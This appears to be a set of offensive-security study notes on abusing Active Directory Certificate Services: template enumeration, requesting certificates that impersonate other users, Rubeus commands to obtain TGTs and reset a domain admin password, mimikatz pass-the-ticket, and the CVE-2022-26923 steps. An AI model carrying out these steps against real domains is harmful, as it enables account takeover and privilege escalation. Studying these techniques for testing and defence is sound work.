83 lines
3.7 KiB
Markdown
83 lines
3.7 KiB
Markdown
## Active Directory Certificate Service ADCS
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* Internal CA
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* PKI
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* File system encryption
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* Digital signatures
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* User authentication
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* __Certificates will not be revoked after account password reset__
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## Certificate Templates
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* Extended/Enhanced Key Usage (EKU)
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* Parameter combination can be exploited
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* User Certificates may be requested from a member of a Domain User Group
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* Machine Certifcates may be requested from a host of a Domain Computer Group
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### Enumeration
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* [PSPKIAudit](https://github.com/GhostPack/PSPKIAudit)
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```sh
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certutil -v -template > ct.txt
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```
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Exploitable templates should have the following traits:
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* `Allow Enroll` or `Allow Full Control` permissions to request certificate
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* Find groups by `net user <username> /domain` --> `Domain Users`, `Domain Computers`
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* Client authentication EKU for Kerberos authentication --> `Client Authentication`
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* Permission to subject alternative name (SAN), e.g. URL to encrypt. Used to create Kerberos ticket, --> `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`
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### Certificate Creation
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* `Win+R` --> `mmc` --> `File` --> `Add/Remove Snap-in` --> `Certificates` (Request Certificate if administration account --> Computer Account)
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* After that in the main menu, `Certificates` --> right click on `Personal` --> `All Tasks` --> `Request Certificates` --> `Next` --> `Next` --> `More information is required to enroll this certificate` --> `Common Name` --> `CN=concerto` && `User Principal Name` is the user to impersonate --> `OK` --> select `User Request` --> `Enroll`
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* After that in the main menu, `Personal` --> `Certificates` --> __The certificate__
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* Right click certificate --> `All Tasks` --> `Export` --> `Yes, export private key` --> `PFX` --> set `Password` --> Save
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### Impersonation
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* Request TGT with the created cert
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* Grab TGT
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* On the machine via
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```sh
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Rubeus.exe asktgt /user:<user (UPN) of cert> /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to.kirbi> /domain:<domain name> /dc:<IP of domain controller>
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```
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* Select a domain admin via opening `Active Directory Users and Computers`
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```sh
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.\Rubeus.exe changepw /ticket:<ticketfilename> /new:<new password> /dc:<domain of controller> /targetuser:<domain>\<dauser>
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```
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* `runas /user:<domain>\<username of DA> cmd.exe`
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* Alternatively, load the outfile of rubeus via mimikatz to authenticate as the impersonated user on a remote domain
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```sh
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privilege::debug
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kerberos::ptt <name of file to write TGT to.kirbi>
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exit
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dir \\<domain>\<dir>$\
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```
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## CVE-2022-26923
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* Aims on abusing templates configuration, the Subject Alternative Name `SAN`. Set it to someone with higher permissions
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* User and Machine certificate templates
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* User Principal Name is used for `SAN`, this template can not be modified in a way to escalate privileges
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* Computer accounts DNS name is used for `SAN`
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* Users of the Authenticated Users Group can create 10 Machine Certificates
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* __DNS hostname__ is used for authentication
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* __Service Principal Names (SPN)__, associates a service logon with a service instance. SPNs are unique
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* Permissions of interest, all two are needed
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* Validate write to DNS hostname allows to update DNS hostname of AD object associated with the host
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* Validate write to SPN, update SPN of the AD object associated with the host
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### Usage
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* User account has to be compromised, use it to enrol a new host on the domain
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* Alter the DNS hostname attribute of the AD Object to one of a Domain Controller or other higher privilege
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* Remove the SPN attribute to bypass the unique SPN
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* With the default template request the machine cert
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* authenticate via Kerberos with the template as the higher privileged machine
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